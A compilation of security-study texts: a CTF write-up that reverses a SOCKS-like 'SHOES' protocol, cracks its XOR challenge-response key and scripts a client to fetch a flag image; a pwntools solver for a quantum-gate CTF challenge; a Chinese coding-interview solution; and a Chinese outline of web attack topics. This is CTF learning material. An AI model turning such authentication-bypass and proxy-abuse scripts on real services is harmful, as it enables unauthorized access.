root@kali:/media/sf_CTFs/checkpoint/Shoes# crc32 <(printf "\x5a\x01\xfe")
dd749c2e
root@kali:/media/sf_CTFs/checkpoint/Shoes# crc32 <(printf "\x5a\xfe\x2c\x91\x60\x5e")
14c8b11b
root@kali:/media/sf_CTFs/checkpoint/Shoes# crc32 <(printf "\x5a\x2c\xd2\x33\x1f")
a90bb96a
```
Looks like we have a match and the last four bytes are CRC32.
Now, if we clean up the messages a bit, we have:
```
67 10.0.2.15 52.28.255.56 5a:01:fe
69 52.28.255.56 10.0.2.15 5a:fe:2c:91:60:5e
71 10.0.2.15 52.28.255.56 5a:2c:d2:33:1f
73 10.0.2.15 52.28.255.56 5a:01:00:01:c0:a8:ad:0a:00:50
75 52.28.255.56 10.0.2.15 5a:00:00:01:00:00:00:00:00:00
... <long messages> ...
```
Now, the mail said: *love how you didn't reinvent the wheel in your implementation*. Maybe this is similar to [SOCKS](https://en.wikipedia.org/wiki/SOCKS)?
> * Client connects and sends a greeting, which includes a list of authentication methods supported.
> * Server chooses one of the methods (or sends a failure response if none of them are acceptable).
> * Several messages may now pass between the client and the server, depending on the authentication method chosen.
> * Client sends a connection request similar to SOCKS4.
> * Server responds similar to SOCKS4.
In SOCKS, the client greeting consists of:
| | VER | NAUTH | AUTH |
|---|---|---|---|
|Byte count | 1 | 1 | variable |
* SOCKS version
* Number of authentication methods supported
* Authentication methods, 1 byte per method supported (0x80–0xFE: methods reserved for private use)
All the messages start with `0x5a`, so that might be a protocol version.
Then we have `0x1` which fits the *number of authentication methods supported*, followed by `0xfe` which can be an authentication method.
So, we have:
| | VER | NAUTH | AUTH |
|---|---|---|---|
|Contents | 0x5a | 1 | 0xfa |
This is good, since the next message generally matches the SOCKS server response:
| | VER | CAUTH |
|---|---|---|
|Byte count | 1 | 1 |
* SOCKS version
* Chosen authentication method, or 0xFF if no acceptable methods were offered
* The subsequent authentication is method-dependent
The message starts with `0x5a`, then the chosen authentication method (`0xfe`) and the subsequent authentication scheme (`2c:91:60:5e`).
| | VER | CAUTH |
|---|---|---|
|Contents | 0x5a | 0xfa |
Let's try to crack the authentication scheme using the information we have from both sessions.
```
Session #1:
Receive from server: 2c:91:60:5e
Send to server: 2c:d2:33:1f
Session #2:
Receive from server: 67:a6:f1:93
Send to server: 67:e5:a2:d2
```
The most trivial authentication scheme would be using a simple XOR key. Let's try to XOR the challenge and response to see if we can get a key.
```python
>>> def str_to_bytes(s):
... return bytes.fromhex(s.replace(":", ""))
...
>>> def xor_str(a, b):
... return bytes((x ^ y for x, y in zip(str_to_bytes(a), str_to_bytes(b))))
...
>>> xor_str("2c:91:60:5e", "2c:d2:33:1f")
b'\x00CSA'
>>> xor_str("67:a6:f1:93", "67:e5:a2:d2")
b'\x00CSA'
```
Both cases return the same key so we must have a match!
The next client message is similar to a SOCKS "Client connection request":
| | VER | CMD | RSV | DSTADDR | DSTPORT |
|---|---|---|---|---|---|
|Byte Count | 1 | 1 | 1 | Variable | 2 |
* SOCKS version
* Command Code (0x01: establish a TCP/IP stream connection)
* Reserved, must be 0x00
* Destination address
* Type of the address (0x01: IPv4 address)
* The address (4 bytes for IPv4 address)
* Port number, 2 bytes
This fits our message, making this a request for Address c0:a8:ad:0a, port 0x50, a.k.a. 192.168.173.10:80.
| | VER | CMD | RSV | DSTADDR | DSTPORT |
|---|---|---|---|---|---|
|Contents | 0x5a | 1 | 0 | 0x1, [0xc0, 0xa8 0xad 0x0a] | 0x50 |
The response in the SOCKS protocol is:
| | VER | STATUS | RSV | BNDADDR | BNDPORT |
|---|---|---|---|---|---|
|Byte Count | 1 | 1 | 1 | variable | 2 |
* SOCKS version
* Status code (0x00: request granted)
* Reserved, must be 0x00
* Server bound address
* Server bound port number
In this case we have a partial match for the response, since the bound address and port in the response we've received are 0 (perhaps that's ok?).
| | VER | STATUS | RSV | BNDADDR | BNDPORT |
|---|---|---|---|---|---|
|Contents | 0x5a | 0 | 0 | 0 | 0 |
Now to the long packets. If we decode them as ASCII we get an HTTP request and response:
```console
root@kali:/media/sf_CTFs/checkpoint/Shoes# tshark -nr capture.pcapng -Y "frame.number == 77" -T fields -e tcp.payload 2>/dev/null | xxd -r -p
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: www.tutorialspoint.com
Accept-Language: en-us
Connection: Keep-Alive
root@kali:/media/sf_CTFs/checkpoint/Shoes# tshark -nr capture.pcapng -Y "frame.number == 79" -T fields -e tcp.payload 2>/dev/null | xxd -r -p
HTTP/1.1 200 OK
Date: Wed, 22 Apr 2020 11:21:50 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Wed, 22 Apr 2020 10:49:56 GMT
ETag: "9d-5a3dee491da72"
Accept-Ranges: bytes
Content-Length: 157
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Files in server:
index.html
Arbok.jpg
Blastoise.jpg
Bulbasaur.jpg
Butterfree.jpg
Charizard.jpg
Flag.jpg
Metapod.jpg
Rattata.jpg
Squirtle.jpg
Wartortle.jpg
```
The client is sending an HTTP GET request for "`www.tutorialspoint.com/`" and receiving a list of files, including `Flag.jpg`. We probably want to download that file ourselves.
Let's try to replicate this behavior.
We start from implementing classes for the different SHOES messages we've reversed earlier:
```python
# shoes.py
from ctypes import *
import binascii, ipaddress
SHOES_PROTOCOL_VERSION = 0x5A
SHOES_AUTH_TYPE_XOR = 0xFE
SHOES_ADDRESS_TYPE_IPV4 = 0x1
SHOES_COMMAND_ESTABLISH_TCP_IP = 0x1
SHOES_STATUS_SUCCESS = 0x0
class ShoesStruct(BigEndianStructure):
_pack_ = 1
CHECKSUM_LENGTH = 4
def to_bytes(self, include_checksum = True):
res = bytes(self)
if include_checksum:
res += self.calculate_checksum(res)
return res
@classmethod
def from_bytes(cls, buf, callback = None):
buf_without_checksum, checksum = cls.split_checksum(buf)
obj = cls.from_buffer_copy(buf_without_checksum)
initial_len = len(obj.to_bytes(include_checksum = False))
if callback:
obj = callback(obj, buf_without_checksum, initial_len)
calc_checksum = cls.calculate_checksum(obj.to_bytes(include_checksum = False))
if (checksum != calc_checksum):
raise ValueError("Calculated checksum (0x{}) different from provided checksum (0x{})"
.format(calc_checksum.hex(), checksum.hex()))
return obj
@classmethod
def split_checksum(cls, buf):
if len(buf) < cls.CHECKSUM_LENGTH:
raise ValueError("Provided buffer too short to contain checksum")
buf_without_checksum = buf[:-1 * cls.CHECKSUM_LENGTH]
checksum = buf[-1 * cls.CHECKSUM_LENGTH:]
return (buf_without_checksum, checksum)
@classmethod
def calculate_checksum(cls, buf):
return binascii.crc32(buf).to_bytes(cls.CHECKSUM_LENGTH, byteorder='big')
class ClientGreeting(ShoesStruct):
_fields_ = [('version', c_uint8),
('num_auth', c_uint8)]
_auth_list = (c_ubyte * 0)()
def __init__(self, version = None, auth_list = None):
super().__init__()
if version is not None:
self.version = version
if auth_list is not None:
self.auth_list = auth_list
@property
def auth_list(self):
return list(bytes(self._auth_list))
@auth_list.setter
def auth_list(self, auth_list):
self.num_auth = len(auth_list)
self._auth_list = (self._auth_list._type_ * len(auth_list))()
al = bytes(auth_list)
assert(len(al) == len(auth_list))
memmove(self._auth_list, al, len(auth_list))
@classmethod
def from_bytes(cls, buf):
try:
def handle_auth_list_callback(obj, buf_without_checksum, initial_len):
if len(buf_without_checksum) != initial_len:
obj.auth_list = buf_without_checksum[initial_len:]
if (len(obj._auth_list) != obj.num_auth):
raise ValueError("Declared number of authentication methods does not match provided number")
return obj
obj = super().from_bytes(buf, handle_auth_list_callback)
return obj
except Exception:
raise
def to_bytes(self, include_checksum = True):
res = super().to_bytes(include_checksum = False) + memoryview(self._auth_list)
if include_checksum:
res += self.calculate_checksum(res)
return res
from abc import ABC, abstractmethod, ABCMeta
class ShoesAuthBase(ShoesStruct):
@property
def auth_data(self):
return list(bytes(self._auth_data))
@auth_data.setter
def auth_data(self, auth_data):
self.num_auth = len(auth_data)
self._auth_data = (self._auth_data._type_ * len(auth_data))()
al = bytes(auth_data)
assert(len(al) == len(auth_data))
memmove(self._auth_data, al, len(auth_data))
@classmethod
def from_bytes(cls, buf):
try:
def handle_auth_data_callback(self, buf_without_checksum, initial_len):
if len(buf_without_checksum) != initial_len:
self.auth_data = buf_without_checksum[initial_len:]
return self
self = super().from_bytes(buf, handle_auth_data_callback)
return self
except Exception:
raise
def to_bytes(self, include_checksum = True):
res = super().to_bytes(include_checksum = False) + memoryview(self._auth_data)
if include_checksum:
res += self.calculate_checksum(res)
return res
class ServerChoice(ShoesAuthBase):
_fields_ = [('version', c_uint8),
('chosen_auth', c_uint8)]
_auth_data = (c_ubyte * 0)()
def __init__(self, version = None, chosen_auth = None, auth_data = None):
super().__init__()
if version is not None:
self.version = version
if chosen_auth is not None:
self.chosen_auth = chosen_auth
if auth_data is not None:
self.auth_data = auth_data
class ClientAuth(ShoesAuthBase):
_fields_ = [('version', c_uint8)]
_auth_data = (c_ubyte * 0)()
def __init__(self, version = None, auth_data = None):
super().__init__()
if version is not None:
self.version = version
if auth_data is not None:
self.auth_data = auth_data
class ClientConnectionRequest(ShoesStruct):
_fields_ = [('version', c_uint8),
('command', c_uint8),
('reserved', c_uint8),
('address_type', c_uint8),
('address', c_uint32),
('port', c_uint16)]
def __init__(self, version = None, command = None, address = None, port = None):
super().__init__()
if version is not None:
self.version = version
if command is not None:
self.command = command
if address is not None:
self.address = address
self.address_type = SHOES_ADDRESS_TYPE_IPV4
if port is not None:
self.port = port
self.reserved = 0
class ServerConnectionResponse(ShoesStruct):
_fields_ = [('version', c_uint8),
('status', c_uint8),
('reserved', c_uint8),
('address_type', c_uint8),
('address', c_uint32),
('port', c_uint16)]
def __init__(self, version = None, status = None, address = None, port = None):
super().__init__()
if version is not None:
self.version = version
if status is not None:
self.status = status
if address is not None:
self.address = address
self.address_type = SHOES_ADDRESS_TYPE_IPV4
if port is not None:
self.port = port
self.reserved = 0
# Resources for implementing variable-length ctypes structures:
# https://wumb0.in/a-better-way-to-work-with-raw-data-types-in-python.html
# https://stackoverflow.com/questions/7015487/ctypes-variable-length-structures
# http://dabeaz.blogspot.com/2009/08/python-binary-io-handling.html
# https://stackoverflow.com/questions/8392203/dynamic-arrays-and-structures-in-structures-in-python
# https://docs.python.org/2.5/lib/ctypes-variable-sized-data-types.html
def test():
cg1 = ClientGreeting()
cg1.version = SHOES_PROTOCOL_VERSION
cg1.auth_list = [SHOES_AUTH_TYPE_XOR]
assert(cg1.to_bytes().hex() == "5a01fedd749c2e")
cg2 = ClientGreeting.from_bytes(cg1.to_bytes())
assert(cg2.version == SHOES_PROTOCOL_VERSION)
assert(cg2.num_auth == 1)
assert(cg2.auth_list == [SHOES_AUTH_TYPE_XOR])
cg3 = ClientGreeting(version = SHOES_PROTOCOL_VERSION, auth_list = [SHOES_AUTH_TYPE_XOR])
assert(cg3.to_bytes().hex() == cg1.to_bytes().hex())
sc1 = ServerChoice.from_bytes(bytes.fromhex("5afe2c91605e14c8b11b"))
assert(bytes(sc1.auth_data).hex() == "2c91605e")
ca1 = ClientAuth(version = SHOES_PROTOCOL_VERSION, auth_data = b'\x2c\xd2\x33\x1f')
assert(ca1.to_bytes().hex() == "5a2cd2331fa90bb96a")
ccr1 = ClientConnectionRequest.from_bytes(bytes.fromhex("5a010001c0a8ad0a005074f2be19"))
assert(ccr1.version == SHOES_PROTOCOL_VERSION)
assert(ccr1.command == SHOES_COMMAND_ESTABLISH_TCP_IP)
assert(ccr1.reserved == 0)
assert(ccr1.address_type == SHOES_ADDRESS_TYPE_IPV4)
assert(str(ipaddress.IPv4Address(ccr1.address)) == "192.168.173.10")
assert(ccr1.port == 80)
ccr2 = ClientConnectionRequest(version = SHOES_PROTOCOL_VERSION, command = SHOES_COMMAND_ESTABLISH_TCP_IP,
address = int(ipaddress.IPv4Address("192.168.173.10")), port = 80)
assert(ccr2.to_bytes().hex() == "5a010001c0a8ad0a005074f2be19")
scr1 = ServerConnectionResponse.from_bytes(bytes.fromhex("5a000001000000000000ebcb7543"))
assert(scr1.version == SHOES_PROTOCOL_VERSION)
assert(scr1.status == SHOES_STATUS_SUCCESS)
assert(scr1.reserved == 0)
assert(scr1.address_type == SHOES_ADDRESS_TYPE_IPV4)
assert(str(ipaddress.IPv4Address(scr1.address)) == "0.0.0.0")
assert(scr1.port == 0)
if __name__ == "__main__":
test()
```
These classes allow serializing and deserializing the SHOES messages, as can be seen in the `test()` function.
We'll use the following context manager as a wrapper for the TCP connection, for easier debug:
```python
import socket
class RemoteServer:
BUFFER_SIZE = 4096
def __init__(self, ip, port, verbose = False):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.ip = ip
self.port = port
self.verbose = verbose
def __enter__(self):
self.s.connect((self.ip, self.port))
return self
def __exit__(self, *args):
self.s.close()
def _print(self, prefix, msg):
if self.verbose:
print("{}{}".format(prefix, " ".join(["{:02x}".format(x) for x in msg])))
def send(self, msg):
self._print("Sending : ", msg)
self.s.send(msg)
def recv(self):
msg = self.s.recv(self.BUFFER_SIZE)
self._print("Received: ", msg)
return msg
```
Now, we start by attempting to setup the connection with the SHOES server:
```python
import socket, os, re
import shoes
TCP_IP = '52.28.255.56'
TCP_PORT = 1080
KEY = bytes.fromhex("00 43 53 41") # \x00CSA
def xor(one, two):
return bytes(a ^ b for (a, b) in zip(one, two))
def setup_connection(ip):
s.send(shoes.ClientGreeting(version = shoes.SHOES_PROTOCOL_VERSION, auth_list = [shoes.SHOES_AUTH_TYPE_XOR]).to_bytes())
challenge_msg = shoes.ServerChoice.from_bytes(s.recv())
s.send(shoes.ClientAuth(version = shoes.SHOES_PROTOCOL_VERSION, auth_data = xor(challenge_msg.auth_data, KEY)).to_bytes())
s.send(shoes.ClientConnectionRequest(version = shoes.SHOES_PROTOCOL_VERSION, command = shoes.SHOES_COMMAND_ESTABLISH_TCP_IP,
address = shoes.ipaddress.IPv4Address(ip), port = 80).to_bytes())
server_response = shoes.ServerConnectionResponse.from_bytes(s.recv())
if server_response.status != shoes.SHOES_STATUS_SUCCESS:
raise Exception("Error setting up connection, status = {}".format(server_response.status))
assert(server_response.status == shoes.SHOES_STATUS_SUCCESS)
with RemoteServer(TCP_IP, TCP_PORT, verbose=True) as s:
setup_connection("192.168.173.10")
```
Output:
```console
root@kali:/media/sf_CTFs/checkpoint/Shoes# python3 solve.py
Sending : 5a 01 fe dd 74 9c 2e
Received: 5a fe a0 ca c5 a5 2a b1 1a f1
Sending : 5a a0 89 96 e4 97 72 12 80
Sending : 5a 01 00 01 c0 a8 ad 0a 00 50 74 f2 be 19
Received: 5a 00 00 01 00 00 00 00 00 00 eb cb 75 43
```
This looks good and similar to the session from the network capture. We can continue by attempting to make an HTTP request:
```python
HTTP_REQUEST = 'GET /{} HTTP/1.1\r\n' \
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\r\n' \
'Host: www.tutorialspoint.com\r\n' \
'Accept-Language: en-us\r\n' \
'Connection: Keep-Alive\r\n\r\n'
def get_page(s, page):
s.send(HTTP_REQUEST.format(page).encode("ascii"))
data = s.recv()
return data.decode("ascii")
with RemoteServer(TCP_IP, TCP_PORT, verbose=True) as s:
setup_connection("192.168.173.10")
print(get_page(s, "/"))
```
Output:
```console
root@kali:/media/sf_CTFs/checkpoint/Shoes# python3 solve.py
Sending : 5a 01 fe dd 74 9c 2e
Received: 5a fe a0 ca c5 a5 2a b1 1a f1
Sending : 5a a0 89 96 e4 97 72 12 80
Sending : 5a 01 00 01 c0 a8 ad 0a 00 50 74 f2 be 19
Received: 5a 00 00 01 00 00 00 00 00 00 eb cb 75 43
Sending : 47 45 54 20 2f 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 37 34 2e 30 2e 33 37 32 39 2e 31 36 39 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 0d 0a 48 6f 73 74 3a 20 77 77 77 2e 74 75 74 6f 72 69 61 6c 73 70 6f 69 6e 74 2e 63 6f 6d 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 0d 0a
Received: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 32 39 20 4d 61 79 20 32 30 32 30 20 31 39 3a 30 33 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 31 37 33 2e 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 37 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 31 37 33 2e 32 30 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 75 74 6f 72 69 61 6c 73 70 6f 69 6e 74 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
HTTP/1.1 301 Moved Permanently
Date: Fri, 29 May 2020 19:03:29 GMT
Server: Apache/2.4.29 (Ubuntu)
Location: http://192.168.173.20
Content-Length: 317
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.173.20">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at www.tutorialspoint.com Port 80</address>
</body></html>
```
This is unexpected. But the error message says that the document has moved to `http://192.168.173.20`, while we specified `192.168.173.10` in the setup request. So, let's change the address and try again:
```python
with RemoteServer(TCP_IP, TCP_PORT, verbose=True) as s:
setup_connection("192.168.173.20")
print(get_page(s, "/"))
```
Output:
```console
root@kali:/media/sf_CTFs/checkpoint/Shoes# python3 solve.py
Sending : 5a 01 fe dd 74 9c 2e
Received: 5a fe be b4 45 0a b9 f2 59 35
Sending : 5a be f7 16 4b 04 31 51 44
Sending : 5a 01 00 01 c0 a8 ad 14 00 50 62 4a 30 63
Received: 5a 00 00 01 00 00 00 00 00 00 eb cb 75 43
Sending : 47 45 54 20 2f 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 37 34 2e 30 2e 33 37 32 39 2e 31 36 39 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 0d 0a 48 6f 73 74 3a 20 77 77 77 2e 74 75 74 6f 72 69 61 6c 73 70 6f 69 6e 74 2e 63 6f 6d 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 0d 0a
Received: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 32 39 20 4d 61 79 20 32 30 32 30 20 31 39 3a 30 36 3a 35 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 32 20 41 70 72 20 32 30 32 30 20 31 30 3a 34 39 3a 35 36 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 39 64 2d 35 61 33 64 65 65 34 39 31 64 61 37 32 22 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 37 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 46 69 6c 65 73 20 69 6e 20 73 65 72 76 65 72 3a 0a 0a 69 6e 64 65 78 2e 68 74 6d 6c 0a 41 72 62 6f 6b 2e 6a 70 67 0a 42 6c 61 73 74 6f 69 73 65 2e 6a 70 67 0a 42 75 6c 62 61 73 61 75 72 2e 6a 70 67 0a 42 75 74 74 65 72 66 72 65 65 2e 6a 70 67 0a 43 68 61 72 69 7a 61 72 64 2e 6a 70 67 0a 46 6c 61 67 2e 6a 70 67 0a 4d 65 74 61 70 6f 64 2e 6a 70 67 0a 52 61 74 74 61 74 61 2e 6a 70 67 0a 53 71 75 69 72 74 6c 65 2e 6a 70 67 0a 57 61 72 74 6f 72 74 6c 65 2e 6a 70 67 0a 0a
HTTP/1.1 200 OK
Date: Fri, 29 May 2020 19:06:52 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Wed, 22 Apr 2020 10:49:56 GMT
ETag: "9d-5a3dee491da72"
Accept-Ranges: bytes
Content-Length: 157
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Files in server:
index.html
Arbok.jpg
Blastoise.jpg
Bulbasaur.jpg
Butterfree.jpg
Charizard.jpg
Flag.jpg
Metapod.jpg
Rattata.jpg
Squirtle.jpg
Wartortle.jpg
```
Looks much better.
Finally, we want to request the flag:
```python
OUTPUT_FOLDER = "out"
def save_file(s, file):
s.send(HTTP_REQUEST.format(file).encode("ascii"))
data = s.recv()
if not os.path.exists(OUTPUT_FOLDER):
os.makedirs(OUTPUT_FOLDER)
http_headers, binary_data = data.split(b"\r\n\r\n")
http_headers = http_headers.decode("ascii")
content_length = int(re.search(r"Content-Length: (\d+)", http_headers, re.MULTILINE).group(1))
while len(binary_data) < content_length:
binary_data += s.recv()
with open(os.path.join(OUTPUT_FOLDER, file), "wb") as f:
f.write(binary_data)
print ("\nSaved {} to {}/\n".format(file, OUTPUT_FOLDER))
with RemoteServer(TCP_IP, TCP_PORT, verbose=True) as s:
setup_connection("192.168.173.20")
save_file(s, "Flag.jpg")
```
We receive a JPEG file with the flag: `CSA{p1k4p1k4}`
|
sec-knowleage
|
from pwn import *
import math
#r=remote("localhost", 8001)
r=remote("54.202.194.91", 65535)
def setGates(gates, final=False):
s=""
s+=struct.pack(">H", len(gates))
for gate in gates:
# X, Y, Z, Hadamard, rotate by 90, Measure
if gate[0]!="R":
type, wire, arg = gate
else:
type, wire, arg, ang = gate
ch=0x80*wire
if type=='M':
ch|=arg # Bomb number
else:
ch|=0x70
ch+=0x8*arg # Controlled?
ch|={"X": 1, "Y": 2, "Z": 3, "H": 4, "9": 5, "R": 6}[type]
s+=chr(ch)
if type=="R":
s+=struct.pack("<d", ang)
r.send(s)
if not final:
return ord(r.recv(1))
if 0:
xxx=[
("H", 0, 0),
("H", 1, 0),
("R", 0, 1, 0.01),
("X", 0, 1),
("R", 0, 1, -0.01),
("H", 0, 1),
("9", 0, 0)
]
gates=[
("H", 0, 0),
("X", 1, 0),
]
for i in range(0, 100):
gates+=[
("R", 0, 0, 0.01),
("X", 0, 0),
("R", 0, 0, -0.01),
("H", 0, 0),
("R", 0, 0, math.atan2(i**0.5, (1+i/100.)**0.5)),
("9", 0, 0),
("H", 0, 0),
]
def test(idx):
num=500
gates=[
("H", 0, 0),
("R", 0, 0, math.pi/num),
("H", 0, 0),
("M", 0, idx),
]*num
return setGates(gates)
bombs=[]
for i in range(14*8):
print "Testing",i,"/",14*8
bombs.append(test(i))
# 0 - bomb, 1 - clear
setGates([], True)
print bombs
s=""
for i in range(14):
b=0
for j in range(8):
if bombs[i*8+j]==0:
b|=1<<(7-j)
s+=chr(b)
r.send(s)
print r.recv()
|
sec-knowleage
|
# 50. 第一个只出现一次的字符位置
## 题目链接
[牛客网](https://www.nowcoder.com/practice/1c82e8cf713b4bbeb2a5b31cf5b0417c?tpId=13&tqId=11187&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
在一个字符串中找到第一个只出现一次的字符,并返回它的位置。字符串只包含 ASCII 码字符。
```
Input: abacc
Output: b
```
## 解题思路
最直观的解法是使用 HashMap 对出现次数进行统计:字符做为 key,出现次数作为 value,遍历字符串每次都将 key 对应的 value 加 1。最后再遍历这个 HashMap 就可以找出出现次数为 1 的字符。
考虑到要统计的字符范围有限,也可以使用整型数组代替 HashMap。ASCII 码只有 128 个字符,因此可以使用长度为 128 的整型数组来存储每个字符出现的次数。
```java
public int FirstNotRepeatingChar(String str) {
int[] cnts = new int[128];
for (int i = 0; i < str.length(); i++)
cnts[str.charAt(i)]++;
for (int i = 0; i < str.length(); i++)
if (cnts[str.charAt(i)] == 1)
return i;
return -1;
}
```
以上实现的空间复杂度还不是最优的。考虑到只需要找到只出现一次的字符,那么需要统计的次数信息只有 0,1,更大,使用两个比特位就能存储这些信息。
```java
public int FirstNotRepeatingChar2(String str) {
BitSet bs1 = new BitSet(128);
BitSet bs2 = new BitSet(128);
for (char c : str.toCharArray()) {
if (!bs1.get(c) && !bs2.get(c))
bs1.set(c); // 0 0 -> 0 1
else if (bs1.get(c) && !bs2.get(c))
bs2.set(c); // 0 1 -> 1 1
}
for (int i = 0; i < str.length(); i++) {
char c = str.charAt(i);
if (bs1.get(c) && !bs2.get(c)) // 0 1
return i;
}
return -1;
}
```
|
sec-knowleage
|
# Web Generic
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 大纲
* **[文件包含](#文件包含)**
* [日志中毒攻击](#日志中毒攻击)
* **[文件解析](#文件解析)**
* [IIS](#iis)
* [Nginx](#nginx)
* [Apache](#apache)
* [其他](#其他)
* **[文件上传](#文件上传)**
* **[信息泄露](#信息泄露)**
* [目录遍历](#目录遍历)
* [Fileread](#fileread)
* [源码泄露](#源码泄露)
* [GIT](#git)
* [SVN](#svn)
* [bzr](#bzr)
* [DS_Store文件泄漏](#ds_store文件泄漏)
* [SWP文件泄露](#swp文件泄露)
* [网站备份压缩文件](#网站备份压缩文件)
* [WEB-INF/web.xml信息泄露](#web-infwebxml信息泄露)
* [idea文件夹泄露](#idea文件夹泄露)
* [JS敏感信息泄露](#js敏感信息泄露)
* [Swagger_REST_API信息泄露](#Swagger_REST_API信息泄露)
* [各类APIkey泄露](#各类apikey泄露)
* [SOAP泄露](#SOAP泄露)
